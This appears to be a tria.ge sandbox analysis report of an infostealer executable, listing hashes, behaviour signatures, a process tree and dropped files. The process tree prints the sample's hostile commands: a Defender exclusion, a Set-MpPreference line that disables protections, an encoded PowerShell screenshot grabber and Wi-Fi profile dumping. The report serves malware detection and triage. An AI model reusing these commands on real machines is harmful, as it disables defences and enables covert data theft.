Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

2024-05-14...ch.exe

windows7-x64

1

2024-05-14...ch.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    69s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/05/2024, 12:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2024-05-14_de835c5e977c63ad052bfac57a6511c8_ngrbot_snatch.exe

  • Size

    9.5MB

  • MD5

    de835c5e977c63ad052bfac57a6511c8

  • SHA1

    57197fb2131ae5174a163cdc0301c802b56cb02e

  • SHA256

    c9b0218b6aee171b0779953a559ffe1177d610bf6dfeb63a7931973eb989fe86

  • SHA512

    c6c3e356bb61a657b1923e0e08858b53c6fedcfc5f83873938fbd6cc0c870d985ad44685584b9ffc128ca9dd70e90c9d284f0c55fa21bd37e5e5d9f57d319d45

  • SSDEEP

    98304:gOtqibwOi+sMIyD+Rk7Jok5lE9fqFgqaqDjFy:h5bwOYRFRk7JT5W9Q5DjF

Score
8/10
executionspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 9 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-05-14_de835c5e977c63ad052bfac57a6511c8_ngrbot_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-05-14_de835c5e977c63ad052bfac57a6511c8_ngrbot_snatch.exe"
    1⤵
    • Drops file in Drivers directory
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2024-05-14_de835c5e977c63ad052bfac57a6511c8_ngrbot_snatch.exe
      2⤵
      • Views/modifies file attributes
      PID:4616
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2472
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:3788
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:3832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2024-05-14_de835c5e977c63ad052bfac57a6511c8_ngrbot_snatch.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3204
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:4864
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:3952
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4324
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:1176
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
              PID:3336
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:4548
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:1512
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of WriteProcessMemory
              PID:3544
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vhe1ir4o\vhe1ir4o.cmdline"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2496
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5BFB.tmp" "c:\Users\Admin\AppData\Local\Temp\vhe1ir4o\CSC32F1E69DC084A83AAEAEEDC718FBBB.TMP"
                  4⤵
                    PID:4756

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              6d3e9c29fe44e90aae6ed30ccf799ca8

              SHA1

              c7974ef72264bbdf13a2793ccf1aed11bc565dce

              SHA256

              2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

              SHA512

              60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              e25058a5d8ac6b42d8c7c9883c598303

              SHA1

              bd9e6194a36a959772fc020f905244900ffc3d57

              SHA256

              9f6fe2203df58ba90b512b436fd74f5eeb4f39f4f9f54a41e882fc54e5f35d51

              SHA512

              0146f2d1298acf189005217784e952d6e99bf7c8bf24ae9e9af1a2ca3d881dca39f19f3ecd06c7d0ad919bc929edaf6e97e0ab2d7f71733b9422527c594ea0c5

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\RES5BFB.tmp
              Filesize

              1KB

              MD5

              af4c0e13ff80a156f22a84dc4d74146f

              SHA1

              289dc9e8c88051e361640a345923de859e1c7255

              SHA256

              cc00416adfa0198101b750ac3060fa35021a4bd42c272b425dbc03f669c6925e

              SHA512

              084e29d0b8a8c760b8b7954330de4d9246ac41bb42431988ebb0cab0f6a2aac3109039ff8bcc107d2089e1bbd5d9e83470302b34e9311aed1de7107561f90863

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\SY370hbyd8\Display (1).png
              Filesize

              429KB

              MD5

              5ab206bb91bd33e6d67238472c53587c

              SHA1

              6201e7230f392438399f5854fd79a97b55f66245

              SHA256

              f21245c48601bd5baabbdae03226e511e8c95bd6e5c2b34e606e937b128d9336

              SHA512

              a71aca917974c7354faabe5f84e597320320ef78d1dc512ef532560ceaf7eb24309555cb8025169700a67b784d8298aceb20c4e13608f0e053b0a5e1b3231711

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gl5t3pc1.rxi.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\vhe1ir4o\vhe1ir4o.dll
              Filesize

              4KB

              MD5

              98c19dd2199ea983a3668f273c8c08a0

              SHA1

              923807a6bf8f870bb34038be7c80817816b1e4bb

              SHA256

              b12c71d5fb75910def25e7f8abe9a6e8b10b56a9b70ce3b61e27e8d5e77f77f0

              SHA512

              c569c2f19740d203f853dbc70725a7f7490936d920c3f54cbb7eceaff60573298adffd00ec8e1c8fd1d712fb7a0c1e859f35991170354c220ee558180e12580b

              Download Submit

            • C:\Windows\System32\drivers\etc\hosts
              Filesize

              2KB

              MD5

              6e2386469072b80f18d5722d07afdc0b

              SHA1

              032d13e364833d7276fcab8a5b2759e79182880f

              SHA256

              ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

              SHA512

              e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\vhe1ir4o\CSC32F1E69DC084A83AAEAEEDC718FBBB.TMP
              Filesize

              652B

              MD5

              11cad9c5b604807b949466d2d5fd29b6

              SHA1

              5f894aa5facb1ca50caeec14a0aa71e2d58b6324

              SHA256

              97a65863d9555c6932f7e4d4eecb7fe69f4413411d80196529f834e29c8fe176

              SHA512

              c91c225b8a44182f55c0e3764c398a83d0d657a3b382764fd743ec7e218a0f48e57c0eb4f52d69d7bf6b6d0f883d6bf3187af1a200bc91bac19cd628303c7f0b

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\vhe1ir4o\vhe1ir4o.0.cs
              Filesize

              1004B

              MD5

              c76055a0388b713a1eabe16130684dc3

              SHA1

              ee11e84cf41d8a43340f7102e17660072906c402

              SHA256

              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

              SHA512

              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\vhe1ir4o\vhe1ir4o.cmdline
              Filesize

              607B

              MD5

              0baddd45e2084087ce89c1a5c1b4d527

              SHA1

              e98d0206b88809ced80fca2cc75ea786f8c2b383

              SHA256

              91168f727eadb286c8b70d7d197767a11ef276ecd46d5d5229ff0c1d3f6e3428

              SHA512

              18202842a76fb6d0d48a220673f6bab942d30a0023b5ae16452d39ce40efe7c2ff53e1c4d7d358e56758db43f0436150d17362b7e07201a990828615f4d35b76

              Download Submit

            • memory/3204-14-0x0000021C5E040000-0x0000021C5E25C000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/3204-9-0x0000021C5DFE0000-0x0000021C5E002000-memory.dmp

              Filesize

              136KB

              Download

            • memory/3544-54-0x000001FB4F5A0000-0x000001FB4F5A8000-memory.dmp

              Filesize

              32KB

              Download

            • memory/3544-58-0x000001FB69430000-0x000001FB6964C000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/4324-29-0x000001F244D40000-0x000001F244F5C000-memory.dmp

              Filesize

              2.1MB

              Download